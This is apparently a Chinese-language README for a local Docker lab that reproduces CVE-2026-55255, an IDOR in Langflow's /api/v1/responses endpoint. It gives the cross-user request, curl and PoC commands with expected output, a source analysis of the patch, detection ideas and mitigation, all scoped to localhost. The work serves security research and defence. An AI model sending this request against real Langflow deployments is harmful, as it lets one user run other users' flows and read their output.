/api/v1/responses IDOR 漏洞此存储库包含一个本地 Docker 实验室,用于重现和验证 CVE-2026-55255,这是一个影响 Langflow 的 OpenAI 兼容 Responses API 的不安全直接对象引用 (IDOR) 漏洞。
Langflow 是一个用于构建和部署人工智能驱动的代理和工作流的开源平台。该漏洞行为影响 /api/v1/responses 端点,在该端点上,经过身份验证的攻击者可以提供另一个用户的流 UUID 作为 model 值,从而导致 Langflow 执行该受害者拥有的流。
此实验室比较两个 Langflow 版本:
| Service | Langflow 版本 | 目的 | URL |
|---|
| vuln | 1.9.0 | 易受攻击的比较目标 | http://localhost:7860 |
| patched | 1.9.1 | 已修补的比较目标 | http://localhost:7861 |
此本地实验室中演示的 HTTP 验证路径为:```text Authenticated attacker API key → POST /api/v1/responses → request body sets model to victim-owned flow UUID → vulnerable target executes the victim-owned flow → patched target returns flow_not_found and does not execute the victim-owned flow
在存在漏洞的目标中,攻击者拥有的API密钥可以执行受害者拥有的流程,并且响应中包含仅受害者可见的标记:```text
VICTIM_ONLY_CONTEXT_55255_VULN
在已修补的目标中,相同的跨用户请求不会返回受害者标记,而是返回一个OpenAI风格的错误主体:```json {"error":{"message":"Flow with id '' not found","type":"invalid_request_error","code":"flow_not_found"}}
本实验使用 Langflow 1.9.0 和 Langflow 1.9.1 验证了存在漏洞与已修复版本的 HTTP 行为。
该实验范围仅限于本地 Docker 服务。它不针对外部系统,也不包含凭证窃取、数据库转储、破坏性负载、外部回调、恶意软件、持久化或后利用活动。
## 已验证的事实
| 声明 | 证据 | 如何在本实验中验证 |
| ---- | ---- | ------------------- |
| CVE-2026-55255 影响 Langflow 的 `/api/v1/responses` 端点。 | GitHub 安全公告 GHSA-qrpv-q767-xqq2 描述了 `/api/v1/responses` 中的 IDOR 漏洞。 | 查看参考资料部分,并在两个本地目标上运行 PoC。 |
| GitHub 安全公告列出的受影响版本为 `< 1.9.1`,修复版本为 `1.9.1`。 | GitHub 安全公告 GHSA-qrpv-q767-xqq2。 | 比较 `docker-compose.yml` 中存在漏洞和已修复的目标版本。 |
| 一些下游漏洞来源对确切修复版本存在不一致意见。 | GitHub/GitLab 将 `1.9.1` 列为已修复;一些下游情报页面提到 `1.9.2` 或包含混合措辞。 | 查看参考资料部分,并依赖本实验对测试的 1.9.1 行为的验证。 |
| 本实验使用 Langflow 1.9.0 作为存在漏洞的比较目标。 | `vuln` 服务使用 `langflowai/langflow:1.9.0`。 | 检查 `docker-compose.yml` 并运行 `docker compose ps`。 |
| 本实验使用 Langflow 1.9.1 作为已修复的比较目标。 | `patched` 服务使用 `langflowai/langflow:1.9.1`。 | 检查 `docker-compose.yml` 并运行 `docker compose ps`。 |
| Langflow 的响应 API 使用 `POST /api/v1/responses`。 | Langflow 文档描述了兼容 OpenAI 的响应 API 端点。 | 针对 `/api/v1/responses` 运行 PoC 或手动 curl 请求。 |
| Langflow 的响应 API 接受流程 ID 作为 `model` 值。 | Langflow 文档指出 `model` 值会被替换为 `flow_id`。 | 检查 PoC 请求体。 |
| Langflow API 请求需要通过 `x-api-key` 提供 API 密钥。 | Langflow API 文档描述了使用 `x-api-key` 头进行 API 密钥身份验证。 | 检查 PoC 请求头。 |
| PoC 是基于请求的。 | `poc/validate_idor.py` 发送 HTTP 请求,不调用 Docker、Docker Compose、shell 命令或容器 API。 | 检查 `poc/validate_idor.py`。 |
| 存在漏洞的目标会执行一个受害者拥有的流程,使用攻击者拥有的 API 密钥。 | 存在漏洞的响应返回 `VICTIM_ONLY_CONTEXT_55255_VULN`。 | 使用受害者流程 ID 和攻击者 API 密钥运行存在漏洞的 PoC 命令。 |
| 已修复的目标会阻止相同的跨用户执行路径。 | 已修复的响应返回 `error.code = flow_not_found`,并且不返回受害者标记。 | 使用受害者流程 ID 和攻击者 API 密钥运行已修复的 PoC 命令。 |
## 假设与未知情况
本实验使用 Langflow 1.9.0 作为存在漏洞的比较目标,因为 GitHub 安全公告 GHSA-qrpv-q767-xqq2 将 1.9.1 之前的版本标记为受影响,且本地测试确认了 1.9.0 中的漏洞行为。
本实验使用 Langflow 1.9.1 作为已修复的比较目标,因为 GitHub 安全公告 GHSA-qrpv-q767-xqq2 将 1.9.1 列为已修复版本,且本地测试确认 1.9.1 通过 `flow_not_found` 阻止了测试中的跨用户 `/api/v1/responses` 执行路径。
来源之间存在版本差异。GitHub 和 GitLab 公告将 1.9.1 之前的版本列为受影响,1.9.1 列为已修复。一些下游漏洞情报页面提到 1.9.2 或包含关于修复版本的混合措辞。本仓库记录了这一差异,并直接验证了测试行为。```text
Langflow 1.9.0
→ attacker API key + victim flow UUID
→ victim marker returned
→ vulnerable behavior observed
Langflow 1.9.1
→ attacker API key + victim flow UUID
→ flow_not_found
→ victim marker not returned
→ blocked behavior observed
本实验假设攻击者已知道受害者的 flow UUID。该 PoC 不会暴力破解 flow ID、枚举 flows 或尝试发现受害者 flow ID。
本实验关注于可观察的 HTTP 行为:```text POST /api/v1/responses
使用此请求形状:```json
{
"model": "<victim-flow-id>",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
该实验室在存在漏洞的目标中演示了未经授权的跨用户流程执行,并在修补后的目标中演示了被阻止的行为。
该实验室未演示:
CVE-2026-55255的根本原因是Langflow的流程解析逻辑中存在授权漏洞。
/api/v1/responses端点通过model字段接受流程UUID。在存在漏洞的版本中,get_flow_by_id_or_endpoint_name()内的UUID查找路径可以直接通过主键加载Flow对象,而未强制检查解析后的Flow.user_id是否与已认证的API密钥用户匹配。
存在漏洞的行为可总结为:```text Attacker owns API key → attacker sends POST /api/v1/responses → model contains victim-owned flow UUID → flow resolver loads Flow by UUID → resolver does not enforce Flow.user_id == attacker_user.id → response endpoint executes the victim-owned flow → attacker receives victim flow output
修补后的行为可概括为:```text
Attacker owns API key
→ attacker sends POST /api/v1/responses
→ model contains victim-owned flow UUID
→ flow resolver loads candidate Flow
→ resolver compares Flow.user_id with authenticated API-key user id
→ cross-user lookup is treated as not found
→ response endpoint returns flow_not_found
→ victim-owned flow is not executed
安全问题不在于攻击者可以使用自己的流程调用 /api/v1/responses。这是预期行为。问题在于,当提供受害者的流程 UUID 时,一个低权限的已认证用户可以导致该端点执行另一个用户拥有的流程。
安全教训是:```text Object lookup by UUID is not authorization. Every object lookup used by an authenticated API route must be scoped to the authenticated principal or followed by a strict ownership check before the object is used.
## 源码分析
通过对比 Langflow `v1.9.0` 和 `v1.9.1`,确认了源码级别的问题。
用于审查的已检查源码标签如下:
| 版本 | Git 提交 |
| ------- | ---------- |
| v1.9.0 | `a47f2ad17eb662e940c550cfccb64a87dddd7e0b` |
| v1.9.1 | `dc26d19c1ed5b2779a3a759f78a747f47089c534` |
相关辅助函数为:```python
async def get_flow_by_id_or_endpoint_name(flow_id_or_name: str, user_id: str | UUID | None = None) -> FlowRead:
在易受攻击的 UUID 分支中,流程通过 ID 加载:```python flow_id = UUID(flow_id_or_name) flow = await session.get(Flow, flow_id)
缺失的安全相关检查是:```python
flow.user_id == authenticated_user.id
如果没有那个所有者检查,一个有效的 Flow UUID 就足以解析出一个 Flow 对象,即使它属于另一个用户。
修补后的版本添加了对 user_id 的规范化,并在 UUID 路径上强制执行所有者作用域:```python
if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id:
flow = None
重要的行为是:```text
if the flow exists
and the flow belongs to another user
then treat it as not found
这就是为什么修补后的实验室响应返回:```json {"error":{"code":"flow_not_found"}}
而不是执行受害者拥有的流程。
对于此实验,主要易受攻击的行为是 `/api/v1/responses` 执行路径到达 `get_flow_by_id_or_endpoint_name()` 并解析受害者拥有的流程 UUID 而不强制执行所有权。
该补丁还加固了相关的流程执行路由。在 `endpoints.py` 中,之前使用原始助手作为 FastAPI 依赖项的路由已从以下内容更改:```python
flow: Annotated[FlowRead, Depends(get_flow_by_id_or_endpoint_name)]
到经过认证的包装器,例如:```python async def get_flow_for_api_key_user( flow_id_or_name: str, api_key_user: Annotated[UserRead, Depends(api_key_security)], ) -> FlowRead: return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)
这些包装器更改是针对其他流程执行路由(如 `/api/v1/run*`)的相关加固。它们确保辅助函数接收到经过身份验证的用户ID,而不是依赖于普通的请求参数。本实验所展示的核心修复仍然是 `get_flow_by_id_or_endpoint_name()` 内部的解析器侧所有权检查。
因此,源码级别的修复有两个相关部分:```text
Core resolver fix:
enforce owner scoping before returning a Flow object
Related route dependency hardening:
pass the authenticated API-key or session user's ID into the resolver
Langflow 1.9.1 通过将跨用户查找视为未找到,并确保相关流程执行路径将已验证的用户上下文传递给解析器,从而加强了易受攻击的流程解析路径。
核心补丁逻辑为:```python if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id: flow = None
该补丁还为需要解析流程的路由添加了经过身份验证的包装器依赖项:```python
async def get_flow_for_api_key_user(...):
return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)
async def get_flow_for_current_user(...):
return await get_flow_by_id_or_endpoint_name(flow_id_or_name, current_user.id)
与安全相关的变更是:```text Before: flow UUID → session.get(Flow, flow_id) → Flow object returned without owner scoping → downstream execution path can run victim-owned flow
After: flow UUID → session.get(Flow, flow_id) → compare Flow.user_id with authenticated user id → cross-user result becomes None → shared not-found behavior fires → victim-owned flow is not executed
补丁还减少了信息泄露。跨用户访问被视为“未找到”,而不是返回一个不同的授权响应,该响应可能会揭示另一个用户的流程是否存在。
这个实验将源代码审查和运行时验证分开:```text
Source patch review:
explains why the vulnerable resolver could return a victim-owned flow.
Runtime validation:
proves the vulnerable target executes the victim-owned flow and the patched target does not.
该实验室通过 Docker Compose 运行两个孤立的 Langflow 目标。```text . ├── docker-compose.yml ├── poc/ │ └── validate_idor.py ├── seed/ │ ├── Dockerfile │ └── seed.py ├── src/ │ ├── langflow-1.9.0/ │ └── langflow-1.9.1/ ├── state/ │ ├── patched.json │ ├── patched.ready │ ├── vuln.json │ └── vuln.ready └── README.md
`state/` 文件由种子服务在实验室启动期间生成。`src/` 目录包含用于源代码差异验证的已检出 Langflow 源代码树。
这两个 Langflow 服务使用不同的应用程序版本和不同的容器内 SQLite 数据库:
| 服务 | 组件 | 版本/角色 |
| ------------ | ---------- | --------------------------------- |
| vuln | Langflow | 易受攻击的目标应用程序 |
| patched | Langflow | 已修补的比较应用程序 |
| seed-vuln | Python | 创建本地用户、API 密钥和流程 |
| seed-patched | Python | 创建本地用户、API 密钥和流程 |
默认暴露的服务:```text
Vulnerable target: http://localhost:7860
Patched target: http://localhost:7861
实验室使用固定的 Langflow 镜像:
| 目标 | Langflow 版本 | 预期行为 |
|---|---|---|
| http://localhost:7860 | 1.9.0 | 攻击者 API 密钥可以执行受害者拥有的流程 |
| http://localhost:7861 | 1.9.1 | 跨用户受害者流程执行被阻止 |
种子服务在以下期间自动运行:```bash docker compose up --build --wait
他们创建:```text
victim user
attacker user
attacker API key
victim flow
attacker flow
state/vuln.json
state/patched.json
state/vuln.ready
state/patched.ready
种子生成的 state/*.json 文件提供了可丢弃的本地测试值,例如 API 密钥和流程 UUID。
PoC 不会读取 state/*.json。用户通过命令行参数提供目标 URL、API 密钥、流程 ID 以及可选的预期标记。
该实验不会创建或修改易受攻击的 /api/v1/responses 路由。该路由由 Langflow 提供。
--wait 的 Docker Compose v2jq(用于本 README 中的便捷命令)PoC 不需要任何 Python 第三方包。PoC 仅使用 Python 标准库模块。
种子容器内部安装了 Python requests 包。该包仅由种子服务在实验设置过程中使用,PoC 不依赖它。
从干净状态启动实验:```bash docker compose down -v --remove-orphans find state -type f ( -name ".json" -o -name ".ready" ) -delete docker compose up --build --wait
检查服务状态:```bash
docker compose ps
期望的健康服务:```text cve-2026-55255-vuln cve-2026-55255-patched cve-2026-55255-seed-vuln cve-2026-55255-seed-patched
预期的暴露目标:```text
http://localhost:7860
http://localhost:7861
检查种子状态文件:```bash ls -la state cat state/vuln.json | jq . cat state/patched.json | jq .
预期文件:```text
state/vuln.json
state/vuln.ready
state/patched.json
state/patched.ready
针对易受攻击的目标运行基于请求的验证:```bash
python3 poc/validate_idor.py
--url "$(jq -r '.public_url' state/vuln.json)"
--api-key "$(jq -r '.attacker.api_key' state/vuln.json)"
--flow-id "$(jq -r '.victim_flow.id' state/vuln.json)"
--expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"
对修补后的目标运行基于请求的验证:```bash
python3 poc/validate_idor.py \
--url "$(jq -r '.public_url' state/patched.json)" \
--api-key "$(jq -r '.attacker.api_key' state/patched.json)" \
--flow-id "$(jq -r '.victim_flow.id' state/patched.json)" \
--expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"
该 PoC 接受目标 URL、API 密钥、流程 ID 以及一个可选的预期标记:```bash
python3 poc/validate_idor.py
--url <target_url>
--api-key <api_key>
--flow-id <target_flow_id>
--expect-marker <expected_output_marker>
Required options:
| 选项 | 含义 |
| ------ | ------- |
| `--url` | Langflow 基础 URL |
| `--api-key` | 用于 `x-api-key` 标头的 API 密钥 |
| `--flow-id` | 用作 `model` 值的 Flow UUID |
Optional options:
| 选项 | 含义 |
| ------ | ------- |
| `--expect-marker` | 如果目标流程执行,响应中预期的标记 |
PoC 发送以下 HTTP 请求:```text
POST /api/v1/responses
x-api-key: <redacted>
Content-Type: application/json
请求体:```json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false }
The PoC 基于请求。它不调用 Docker、Docker Compose、shell 命令、WP-CLI、容器 API 或 Langflow seed API。
在此实验室中,`state/*.json` 可用于将一次性本地 API 密钥和流程 ID 复制到 PoC 命令中。PoC 本身不依赖这些文件。`state/*.json` 中的 API 密钥是一次性本地实验室密钥;请勿在这些命令中使用实际的生产 API 密钥。
## 预期结果
### 易受攻击的目标
命令:```bash
python3 poc/validate_idor.py \
--url "$(jq -r '.public_url' state/vuln.json)" \
--api-key "$(jq -r '.attacker.api_key' state/vuln.json)" \
--flow-id "$(jq -r '.victim_flow.id' state/vuln.json)" \
--expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"
[CVE-2026-55255 REQUEST-BASED VALIDATION] [TARGET] http://localhost:7860 [FLOW_ID] [API_KEY]
[REQUEST] POST http://localhost:7860/api/v1/responses x-api-key: Content-Type: application/json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false }
[RESPONSE] HTTP 200 flow execution observed : True expected marker : VICTIM_ONLY_CONTEXT_55255_VULN marker found : True
[BODY] ... "text":"VICTIM_ONLY_CONTEXT_55255_VULN\n\nowner=victim-user\n\ntenant=cve-2026-55255-lab" ...
======================================================================================== [CLASSIFICATION] VULNERABLE_BEHAVIOR - expected marker was returned. FINAL: VULNERABLE_BEHAVIOR_OBSERVED
重要的易受攻击信号是:```text
attacker API key
+ victim flow UUID
+ HTTP 200 completed response
+ victim-only marker returned
命令:```bash
python3 poc/validate_idor.py
--url "$(jq -r '.public_url' state/patched.json)"
--api-key "$(jq -r '.attacker.api_key' state/patched.json)"
--flow-id "$(jq -r '.victim_flow.id' state/patched.json)"
--expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"
预期的已修补目标信号:```text
========================================================================================
[CVE-2026-55255 REQUEST-BASED VALIDATION]
[TARGET] http://localhost:7861
[FLOW_ID] <victim-flow-id>
[API_KEY] <redacted>
[REQUEST]
POST http://localhost:7861/api/v1/responses
x-api-key: <redacted>
Content-Type: application/json
{
"model": "<victim-flow-id>",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
[RESPONSE]
HTTP 200
flow execution observed : False
expected marker : VICTIM_ONLY_CONTEXT_55255_PATCHED
marker found : False
error code : flow_not_found
[BODY]
{"error":{"message":"Flow with id '<victim-flow-id>' not found","type":"invalid_request_error","code":"flow_not_found"}}
========================================================================================
[CLASSIFICATION] BLOCKED - target returned flow_not_found.
FINAL: BLOCKED_BEHAVIOR_OBSERVED
重要的修补信号是:```text attacker API key
### 无标记时观察到的执行
如果省略了 `--expect-marker`,并且目标返回了完整的 Langflow 响应,则 PoC 报告:```text
[CLASSIFICATION] FLOW_EXECUTION_OBSERVED - target returned a completed flow response.
[NOTE] Ownership of the supplied flow ID must be confirmed separately.
FINAL: FLOW_EXECUTION_OBSERVED
这意味着目标流程已执行,但 PoC 本身无法证明所提供的流程 ID 属于另一个用户。必须通过实验室种子数据、流程 ID 的来源或其他授权证据来确认所有权。
验证器向 Langflow Responses API 端点发送一个 HTTP POST 请求:```text /api/v1/responses
该请求使用所提供的API密钥:```text
x-api-key: <attacker-api-key>
请求体使用提供的流 UUID 作为 model 值:```json
{
"model": "",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
预期的脆弱行为:```text
HTTP 200
response object status is completed
error is null
output contains victim-owned flow marker
预期的修补后行为:```text request does not execute victim-owned flow response does not contain victim marker response indicates flow_not_found
在本实验中,Langflow 1.9.1 返回 `HTTP 200` 以及一个 OpenAI 风格的 JSON 错误对象:```json
{"error":{"code":"flow_not_found"}}
这就是 PoC 检查 JSON 错误代码而非假定 HTTP 传输状态必须为 404 的原因。
PoC 仅有意验证跨用户流程执行条件。它不会尝试发现流程 ID、暴力枚举 UUID、枚举用户、提取机密或触发外部服务。
实验室种子将一次性本地值写入 state/*.json。这些命令使用这些本地值来构建 curl 请求。状态文件是仅限实验室的构建产物。
漏洞探测:```bash
curl -i -sS -X POST
"$(jq -r '.public_url' state/vuln.json)/api/v1/responses"
-H "Content-Type: application/json"
-H "x-api-key: $(jq -r '.attacker.api_key' state/vuln.json)"
--data "{
"model": "$(jq -r '.victim_flow.id' state/vuln.json)",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}"
预期的易受攻击的结果:```text
HTTP/1.1 200 OK
...
"status":"completed"
"error":null
"VICTIM_ONLY_CONTEXT_55255_VULN"
修补后的探测工具:```bash
curl -i -sS -X POST
"$(jq -r '.public_url' state/patched.json)/api/v1/responses"
-H "Content-Type: application/json"
-H "x-api-key: $(jq -r '.attacker.api_key' state/patched.json)"
--data "{
"model": "$(jq -r '.victim_flow.id' state/patched.json)",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}"
预期修补结果:```text
HTTP/1.1 200 OK
...
{"error":{"code":"flow_not_found"}}
CVE-2026-55255 在多用户或多租户的 Langflow 部署中具有安全敏感性,因为一个已认证的用户可能能够在知道受害者流 UUID 的情况下执行另一个用户的流。
实际现实世界的影响取决于受害者拥有的流的功能。
可能的影响包括:
实际可利用性取决于攻击者能否获取有效的受害者流 UUID。流 UUID 猜测不是本实验的重点,PoC 不会暴力破解流 ID。
本实验仅演示安全的授权边界失败:```text attacker API key
该实验室不演示真实数据访问、真实机密访问、LLM提供方密钥滥用、外部回调或后渗透利用。
## 检测与监控
潜在指标包括经过身份验证的请求到:```text
POST /api/v1/responses
可疑的请求模式:```text x-api-key belongs to user A model contains flow UUID owned by user B
高信号检测思路:```text
POST /api/v1/responses
AND request.model is a flow UUID
AND authenticated API-key user does not own that flow UUID
可能的应用程序层日志或遥测数据可供审查:
model 值,flow_not_found 响应,/api/v1/responses 的成功完成响应,示例易受攻击的验证工件:```text Request: POST /api/v1/responses x-api-key: attacker user's API key model: victim user's flow UUID
Response: status: completed error: null output contains victim-only marker
示例已修补的验证工件:```text
Request:
POST /api/v1/responses
x-api-key: attacker user's API key
model: victim user's flow UUID
Response:
error.code: flow_not_found
victim marker not returned
推荐监控操作:
/api/v1/responses 的 API 日志。flow_not_found 的突发情况。将 Langflow 升级至已修复版本。
GitHub 安全公告 GHSA-qrpv-q767-xqq2 指出 Langflow 1.9.1 已修复 CVE-2026-55255。部分下游漏洞情报源提及 1.9.2,或针对已修复版本使用了混合措辞。本实验室验证表明,Langflow 1.9.1 通过返回 flow_not_found 阻止了已测试的 /api/v1/responses 跨用户执行路径。对于生产环境,请升级至最新的 Langflow 版本,而非停留在实验室对比版本。
建议的缓解步骤:
/api/v1/responses 请求的日志。安全工程经验教训:
本实验室仅用于本地安全研究和受控演示。
请勿针对您不拥有或未经明确授权测试的系统执行 PoC 或手动 curl 请求。
请勿在本实验室中使用真实的生产凭证、客户数据、支付数据、API 密钥、LLM 提供商密钥、数据库凭证或生产机密。
预期范围仅限于本地 Docker 服务,例如:```text http://localhost:7860 http://localhost:7861 http://127.0.0.1:7860 http://127.0.0.1:7861
该概念验证有意基于请求进行。它不会调用Docker、Docker Compose、Shell命令、WP-CLI或容器API。
该实验环境不包含以下有效载荷:
* 流程UUID暴力破解,
* 用户枚举,
* 凭证窃取,
* 数据库导出,
* LLM提供商密钥滥用,
* 任意命令执行,
* 恶意软件,
* 持久化,
* 横向移动,
* 客户数据访问,
* 或外部回调。
目的是在受控环境中演示一个特定的技术条件:```text
HTTP request
+ attacker-owned API key
+ victim-owned flow UUID
+ vulnerable target executes victim-owned flow
+ patched target returns flow_not_found
CVE 记录:CVE-2026-55255 https://www.cve.org/CVERecord?id=CVE-2026-55255
GitHub 安全公告:GHSA-qrpv-q767-xqq2 https://github.com/advisories/GHSA-qrpv-q767-xqq2
GitLab 安全公告:CVE-2026-55255 https://advisories.gitlab.com/pypi/langflow/CVE-2026-55255/
Langflow 拉取请求:fix(security): close IDOR in get_flow_by_id_or_endpoint_name (LE-639) #12832 https://github.com/langflow-ai/langflow/pull/12832
Langflow OpenAI 响应 API 文档 https://docs.langflow.org/api-openai-responses
Langflow API 密钥与认证文档 https://docs.langflow.org/api-keys-and-authentication
Langflow API 参考示例 https://docs.langflow.org/api-reference-api-examples
Langflow GitHub 仓库 https://github.com/langflow-ai/langflow
Langflow Docker 镜像 https://hub.docker.com/r/langflowai/langflow
针对 GHSA-qrpv-q767-xqq2 的 Tenable 插件说明 https://www.tenable.com/plugins/container-security/443659
Mondoo 漏洞情报:CVE-2026-55255 https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-55255